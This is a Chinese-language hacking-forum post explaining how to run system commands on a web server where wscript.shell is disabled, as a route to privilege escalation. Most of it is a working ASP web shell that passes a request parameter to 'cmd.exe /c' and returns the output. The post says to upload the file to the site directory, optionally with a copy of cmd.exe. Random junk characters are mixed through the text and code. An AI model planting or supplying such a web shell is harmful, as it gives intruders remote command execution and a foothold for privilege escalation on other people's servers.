可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
' O* g: o* N+ ~! ?一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。0 W; t, G, d5 `" y4 v1 G, }
要想让运行命令可以试试这种方法,成功率为五五之数。; C4 x) t# ~' w: Q
把下面代码复制:: Z) C% T) n) p
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
! C5 m/ h8 A* X+ t/ F* ]* a<%if err then%>
5 o9 J; P, {8 U9 d4 a. c/ Z1 Z<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
# ^' @% c1 D( w# E<%
0 A6 B8 ]: e8 u) \6 cend if
6 X/ f8 }+ E0 t q6 Kresponse.write("<textarea readonly cols=80 rows=20>")( x. ?7 H# V t- C: e
On Error Resume Next
' d: P9 T% f; B1 yresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
/ Q3 G$ B* r( t% Z4 Hresponse.write("</textarea>")
2 Z( X( e, f* w9 Rresponse.write("<form method='post'>")
) s) f# d/ P, xresponse.write("<input type=text name='c' size=60><br>")8 u+ }* S: G9 G* P/ c
response.write("<input type=submit value='执行'></form>")
* G$ Y7 D% w6 B u. _%>
/ ^: i2 U( w2 }" \! y0 l: A' Y/ L& C
保存为一个asp文件,然后传到网站目录上去
0 b2 k8 ?3 U' h7 h9 e0 U" s2 f运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。0 } T, D4 K1 e* n2 R7 W: l! H
我用此成功运行过cacls命令。
0 U+ y4 F9 b) |) {2 A; p; v* E* c8 a% a2 T9 W, O' |
第二那就是运行时出错,可能限制某些代码执行 |